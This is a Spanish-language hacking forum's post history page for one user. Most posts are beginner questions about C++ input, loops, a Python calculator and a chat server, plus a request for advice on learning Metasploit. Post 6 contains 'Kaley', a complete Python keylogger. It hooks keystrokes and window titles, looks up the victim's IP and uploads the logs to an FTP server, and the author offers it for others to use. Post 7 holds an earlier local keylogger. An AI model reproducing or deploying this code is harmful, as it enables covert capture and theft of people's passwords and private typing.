elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Hacking / Uno más iniciándome en: 24 Agosto 2012, 06:45 am
Saludos, tras estar aprendiendo algo de C y Python me he decidido a adentrarme en este mundo. He visto que hay varios post de gente como yo, pero he de decir que ya he buscado y leido bastantes cosas.

Realmente lo que quiero hacer es aprender a usar exploits, ya que me he estado mirando los videos de securitytube de Metasploit y parece bastante interesante.

El problema es que no tengo mucha idea de como empezar. He leido por el foro que hay un escaner de vulnerabilidades llamado Nessus y con el Metasploit pues las aprovechas. En los videos de securitytube te enseñan bastante bien, pero ponen ejemplo sabiendo ya la vulnerabilidad que tiene el sistema, además de que usa un Windows XP como víctima, SO que ya hoy casi nadie tiene.

Como ya he dicho, se algo de C y Python (que supongo que me ayudará). Lo que quiero básicamente es aprender a hacer mis cositas, ya que yo soy mucho de teoría pero luego en la práctica no tengo ni idea.

Vemos.
2  Programación / Programación C/C++ / Contenidos de fichero en C++ en: 31 Julio 2012, 02:13 am
Saludos, sigo aqui intentando aprender un poquillo de C++ y para practicar un poco los ficheros he creado un programa que simplemente pide nombre y contenido del fichero al usuario y lo crea. El programa queda algo así.

Código
  1. #include <iostream>
  2. #include <fstream>
  3. using namespace std;
  4.  
  5. int main () {
  6.    char name[30], text[255];
  7.  
  8.    cout << "Introduzca nombre del fichero (con extension): ";
  9.    cin >> name;
  10.    cout << endl << "Introduca contenido del fichero: ";
  11.    cin >> text;
  12.  
  13.    ofstream myfile;
  14.    myfile.open (name);
  15.    myfile << text;
  16.    myfile.close();
  17.  
  18.  
  19. }
  20.  

El programa compila bien, y, aparentemente, también se ejecuta bien. El problema es que al pedirte el contenido, nada más pongas un espacio deja de recoger contenido. Es decir, si escribes "Hola que tal." el programa solo escribe "Hola". Supongo que será alguna cosilla que tenga que añadir, pero he buscado y no encuentro la solucion. Gracias de antemano.
3  Programación / Programación C/C++ / Reiniciar bucles C++ en: 21 Julio 2012, 02:05 am
Buenas a todos, finalmente me he lanzado con C++ después de estar en Python y tras un día aprendiendo cosillas basicas me he dispuesto a "traducir" un programa que tenía hecho en Python para descomponer números en factores primos, y me ha quedado esto:

Código
  1. #include <iostream>
  2. using namespace std;
  3.  
  4. int main (void)
  5. {
  6.    int n, i, prime[5] = {2, 3, 5, 7, 11};
  7.    cout << "Numero? ";
  8.    cin >> n;
  9.    while (n != 1)
  10.    {
  11.        for (i=0; i<5; i++)
  12.        {
  13.            if (n%prime[i] == 0)
  14.            {
  15.                n = n / prime[i];
  16.                cout << prime [i] << endl;
  17.            }
  18.        }
  19.    }
  20.    cin.ignore();
  21.    cin.get();
  22.  
  23. }
  24.  

El programa funciona a la perfección (bueno, de momento solo tengo puestos 5 primos en el array, pero se cambia fácilmente eso), pero al pedirle que te descomponga ciertos números, como el 20, no muestra los factores ordenados, es decir, en lugar de 2 2 5, muestra 2 5 2. Es cierto que esto no importa en una multiplicación, pero me gusta tener las cosas ordenadas y bonitas xD.

En mi programa de Python esto lo solucionaba añadiendo los factores a una lista en lugar de mostrarlos y luego ordenar e mostrar la lista, pero no encuentro forma de hacer esto en C++, y si la hay sería bastante código que añadir.

Sin embargo, me puse a pensar, y simplemente con algo que me permitiese "reiniciar" el bucle for para que empezara de nuevo a comprobar todos los números funcionaría, pero no sé como hacer esto. Alguna idea? Gracias de antemano.

PD: Soy bastante nuevo en C++ y programando en general, si encontrais cosas que se puedan hacer mejor comentadlo sin problemas, estare agradecido :)
4  Programación / Programación C/C++ / Nuevo en C++ en: 18 Julio 2012, 01:20 am
Saludos, después de estar aprendiendo un poco de Python por mi cuenta (gracias al magnífico manual de mundogeek) me he decidido a empezar con C++.

Sin embargo, no encuentro realmente ningún libro/tutorial que me guste demasiado para aprender. Busco algo como el de python de mundogeek, que te explique lo básico, sin enrollarse demasiado, y que esté bastante claro. Esto último lo digo porque ya me he encontrado con el tema del cout y el printf, y supongo que también cambiarán otras muchás cosas conforme vaya avanzando.

En definitiva lo que busco es algún libro o pdf que te explique lo básico de C++, para poder ir haciendo mis cosillas. Un saludo.
5  Programación / Scripting / Como seguir en Python en: 25 Septiembre 2011, 23:19 pm
Saludos, llevo ya algún tiempo programando en Python (cosa de un mes o así) y ya estoy acabando la guía de Raúl González Duque, muy buena por cierto. Mi pregunta es la siguiente: ¿cómo puedo seguir aprendiendo ahora? Es el primer lenguaje de programación que aprendo, y la verdad no sé que hacer ahora. ¿debería comprarme un libro? ¿alguno en especial? No me importa mucho el idioma, aunque si es en español, mejor que mejor. Gracias de antemano.

Fyrox
6  Programación / Scripting / [Python] Kaley, Keylogger simple en Python en: 21 Septiembre 2011, 23:24 pm
Saludos, después de un tiempecillo programando en Python, al fin me he decidido a crear un Keylogger. Como no llevo mucho tiempo programando, lo subo aquí para que aportéis ideas/mejores formas de codear determinadas cosas en Python, además de para que lo uséis si queréis.
Código
  1. # coding= utf-8
  2. import pythoncom, pyHook, ftplib, urllib, datetime, time, thread, os
  3.  
  4. class Kaley:
  5.    def __init__(self):
  6.        self.current_window = None
  7.        self.namefile = str(self.getIP()) + " - " + str(self.getDate()) + ".txt"
  8.        self.f = ftplib.FTP("server")
  9.        self.f.login("user", "pass")
  10.        self.f.cwd("/html/kaley")
  11.        self.run = False
  12.  
  13.    def getIP(self):
  14.        url = urllib.URLopener()
  15.        resp = url.open("http://automation.whatismyip.com/n09230945.asp")
  16.        html = resp.read(114)
  17.        return html
  18.  
  19.    def getDate(self):
  20.        now = datetime.datetime.now()
  21.        return now.strftime("%Y-%m-%d")
  22.  
  23.    def write(self, text):
  24.        file = open(self.namefile, "a")
  25.        file.write(text)
  26.        file.close()
  27.        if self.run == False:
  28.            thread.start_new_thread(self.upload, ())
  29.  
  30.    def upload(self):
  31.        self.run = True
  32.        time.sleep(5)
  33.        self.f.storbinary("STOR " + self.namefile, open(self.namefile, "rb"))
  34.        self.run = False
  35.  
  36.    def stroke(self, event):
  37.        if event.WindowName != self.current_window:
  38.            self.write("\n" + event.WindowName + "\n")
  39.            self.current_window = event.WindowName
  40.        if event.Ascii == 32 or event.Ascii == 9:
  41.             self.write(" ")
  42.        elif event.Ascii == 241 or event.Ascii == 209:
  43.            self.write("Ñ")
  44.        elif event.Ascii == 13:
  45.            self.write("\n")
  46.        else:
  47.            self.write(event.Key)
  48.  
  49. log = Kaley()
  50. ph = pyHook.HookManager()
  51. ph.KeyDown = log.stroke
  52. ph.HookKeyboard()
  53. pythoncom.PumpMessages()

Como podéis ver, os hacen falta las librerias pyHook para ejecutarlos.

Fyrox
7  Programación / Scripting / [Python] print solo si cambia la variable en: 18 Septiembre 2011, 01:12 am
Buenas de nuevo, esta vez mas que un error traigo una duda sobre un programilla que estoy intentando hacer. Veréis. me he lanzado a hacer un pequeño keylogger local muy muy básico (de momento, ya lo ampliare) con el modulo pyHook. Aquí esta:

Código
  1. import pythoncom, pyHook
  2.  
  3. def strokes(event):
  4.    print event.WindowName
  5.    print event.Key
  6.  
  7. hm = pyHook.HookManager()
  8. hm.KeyDown = strokes
  9. hm.HookKeyboard()
  10. pythoncom.PumpMessages()
  11.  

Bien, este pequeño keylogger hace que cada vez que se pulse una tecla imprima en el programa el nombre de la ventana y la tecla. Esto queda bastante mal a la hora de leer lo que se ha escrito, ya que se escribiria el nombre de la ventana por cada tecla que se pulsase. Para solucionarlo, lo que quiero hacer es que imprima el nombre de la ventana, la tecla pulsada, y luego solamente imprima de nuevo el nombre de la ventana si esta cambia, no se si me explico.

Por ejemplo: escribes "facebook" en google, por lo que el nombre de la ventana seria "Google". A partir de ahi, quiero que solamente vuelva a escribir el nombre de la ventana si deja de ser "Google" para ser "Facebook" por ejemplo. Gracias de antemano.
8  Programación / Scripting / Error en Python en: 31 Agosto 2011, 17:11 pm
Saludos de nuevo, despues de un tiempo aprendiendo en Python, me he decidido a crear un pequeño chat, sin embargo obtengo un error al ejecutar el servidor.

Éste es el código:
Código
  1. #! /usr/bin/python
  2. #coding=utf-8
  3. import socket, sys
  4. from threading import Thread
  5.  
  6. clientlist = []
  7.  
  8. class Client(Thread):
  9. def __init__(self, clients):
  10. Thread.__init__(self)
  11. self.s = clients
  12. self.nick = ""
  13.  
  14. def conectar(self):
  15. self.s.send("Nick: ")
  16. nick = self.s.recv(1024)
  17. self.nick = nick.strip()
  18. clientlist.append(self.s)
  19.  
  20. def mensaje(self, buff):
  21. for index, clients in enumerate(clientlist):
  22. if self.s != clients:
  23. print (self.s == clients)
  24. msg = clients.send("%s dice: %s"%(self.nick,buff)
  25.  
  26.        def run(self):
  27. self.conectar()
  28. while True:
  29. buff = self.s.recv(2048)
  30. self.mensaje(buff)
  31.  
  32. servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  33. servers.bind(('',9000))
  34. servers.listen(5)
  35.  
  36. while True:
  37. (clients, addr) = servers.accept()
  38. ct = Client(clients)
  39. ct.start()
  40.  

Y este el error:

Código
  1. File "server.py", line 26
  2.    def run(self):
  3.      ^
  4. SyntaxError: invalid syntax
  5.  

Por más que miro no encuentro el fallo. Alguien me echa un cable? Gracias.

P.D.: como diablos se ponen spoilers aqui? xD
9  Programación / Scripting / Dudas en Python en: 23 Agosto 2011, 21:22 pm
Saludos, he decidido empezar a aprender Python como mi primer lenguaje de programación, y tras leerme unos capítulos de la guía de Raul González Duque (muy buena por cierto) he decidido lanzarme e intentar hacer algo "útil": una calculadora.

Bien, aquí está:
Código
  1. #! /usr/bin/python
  2. # Funcion
  3. def calculator(p1, p2, p3):
  4. if p1 == "1":
  5. print "El resultado es " + str(int(p2) + int(p3)) + "."
  6. elif p1 == "2":
  7. print "El resultado es " + str(int(p2) - int(p3)) + "."
  8. elif p1 == "3":
  9. print "El resultado es " + str(int(p2) * int(p3)) + "."
  10. elif p1 == "4":
  11. print "El cociente es " + str(int(p2) / int(p3)) + " y el resto " + str(int(p2) % int(p3)) + "."
  12. # Menu
  13. print "1) Suma \n2) Resta \n3) Producto \n4) Division \n5) Ayuda"
  14. # Variables
  15. opcion = raw_input("Introduzca su opcion: ")
  16. if opcion == "5":
  17. print "Para utilizar la calculadora, debe escribir el numero de la opcion elegida en el campo 'Introduzca su opcion'. A continuacion, introduzca los dos operandos en sus respectivos campos."
  18. op1 = raw_input("Primer operando: ")
  19. op2 = raw_input("Segundo operando: ")
  20. # Ejecucion
  21. calculator(opcion, op1, op2)

Ahora bien, tengo los siguientes problemas:
1) Si introduces la opción 5 te muestra correctamente la ayuda, pero salta a introducir los operandos, por lo que al final la función no hará ninguna operación.
2) Me gustaría que si introduces una opción que no esté en la lista no continúe y vuelva al campo de elegir opción.

Sé que estas cosas se consiguen con un bucle, y de hecho lo he intentado:
Código
  1. #! /usr/bin/python
  2. # Funcion
  3. def calculator(p1, p2, p3):
  4. if p1 == "1":
  5. print "El resultado es " + str(int(p2) + int(p3)) + "."
  6. elif p1 == "2":
  7. print "El resultado es " + str(int(p2) - int(p3)) + "."
  8. elif p1 == "3":
  9. print "El resultado es " + str(int(p2) * int(p3)) + "."
  10. elif p1 == "4":
  11. print "El cociente es " + str(int(p2) / int(p3)) + " y el resto " + str(int(p2) % int(p3)) + "."
  12. # Menu
  13. print "1) Suma \n2) Resta \n3) Producto \n4) Division \n5) Ayuda"
  14. # Variables
  15. while True:
  16. opcion = raw_input("Introduzca su opcion: ")
  17. if opcion == "5":
  18. print "Para utilizar la calculadora, debe escribir el numero de la opcion elegida en el campo 'Introduzca su opcion'. A continuacion, introduzca los dos operandos en sus respectivos campos."
  19. if opcion == "1" or "2" or "3" or "4":
  20. break
  21. else:
  22. print "La opcion introducida no es valida"
  23. op1 = raw_input("Primer operando: ")
  24. op2 = raw_input("Segundo operando: ")
  25. # Ejecucion
  26. calculator(opcion, op1, op2)

Es evidente que no sé crear un bucle correctamente, ya que escriba lo que escriba salta a pedir los operandos. ¿Algún entendido me puede echar un cable? Gracias de antemano ;D.
10  Programación / Programación C/C++ / Libro para empezar a programar en C/C++ en: 6 Enero 2011, 16:53 pm
Saludos, quiero inciarme en esto de la programacion, y al final he decidio empezar por C/C++. He estado mirando los libros que han posteado en el foro, pero no cual elegir. Quiero alguno que sea, a ser posible, liviano y claro. ¿Cual me recomiendan? Gacias por adelantado,
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines